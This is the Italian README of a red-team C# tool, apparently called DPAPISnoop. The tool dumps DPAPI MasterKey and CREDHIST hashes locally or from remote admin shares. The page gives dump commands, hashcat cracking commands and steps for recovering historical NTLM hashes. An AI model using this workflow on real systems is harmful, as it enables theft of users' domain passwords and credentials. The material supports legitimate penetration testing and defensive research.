
Uno strumento C# per generare hash DPAPI crackabili dai MasterKeys degli utenti
Uno strumento C# che estrae hash DPAPI craccabili dalle MasterKey e dai file CREDHIST degli utenti.
Prende di mira sia la MasterKey ($DPAPImk$) sia l'intera catena CREDHIST ($credhist$), con supporto per percorsi locali e condivisioni SMB remote.
$DPAPImk$)La MasterKey di ogni utente si trova in \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.
Il cracking restituisce la password di dominio dell'utente e sblocca tutti i segreti protetti da DPAPI di quel periodo.
La versione dell'hash dipende dal sistema operativo:
Il campo Context codifica il tipo di account:
$credhist$)Ogni voce presente nel file CREDHIST di ciascun utente. Ogni voce è cifrata con una password precedente e, una volta decifrata, restituisce lo SHA1 + NTLM della password che la precede.
Il cracking della catena ricostruisce tutte le password storiche e i relativi hash NTLM.
Le voci sono etichettate nel campo username, così l'output è autoesplicativo:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
La versione dell'hash delle voci dipende dal sistema operativo:
-m 15920-m 15930DPAPISnoop.exe [rootDir] [options]
Se omesso, rootDir viene impostato su %HOMEDRIVE%. I percorsi UNC sono pienamente supportati.
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
Dopo il cracking, passa la password recuperata a DPAPISnoop per percorrere l'intera catena e stampare ogni SHA1 e NTLM storico:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
Consulta README
Questo lavoro di ricerca e sviluppo è stato condotto in collaborazione tra un umano e strumenti assistiti dall'IA, utilizzando i modelli di IA GPT-5.5 e Claude Sonnet 4.6.
I modelli di IA sono stati utilizzati per assistere nella generazione di codice e nel supporto al reverse engineering.
Tuttavia, tutta la direzione della ricerca, la validazione, il debug, i test, l'analisi di sicurezza e le decisioni tecniche finali sono state eseguite da un essere umano (Imdefinelyhuman).
Tutti i contenuti, il codice e le analisi generati sono stati revisionati, validati, modificati e integrati manualmente come parte di un flusso di lavoro iterativo guidato dall'uomo.
La dichiarazione sopra è un modo elegante per dire anche che il codice ha bug e che lo usi a tuo rischio e pericolo!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| Flag | Descrizione |
|---|
| (nessuno) | Estrae $DPAPImk$ e $credhist$ per il nostro utente |
--credhist-only / -c | Salta l'output della MasterKey; emette solo le righe $credhist$ |
--password <plaintext> / -p | Percorre la catena CREDHIST a partire dalla password in chiaro corrente |
--sha1 <40-hex> | Percorre la catena CREDHIST a partire da uno SHA1 noto della password corrente |
--pre1607 | Emette il contesto 2 (dominio pre-1607) invece del contesto 3 per gli hash MasterKey di dominio |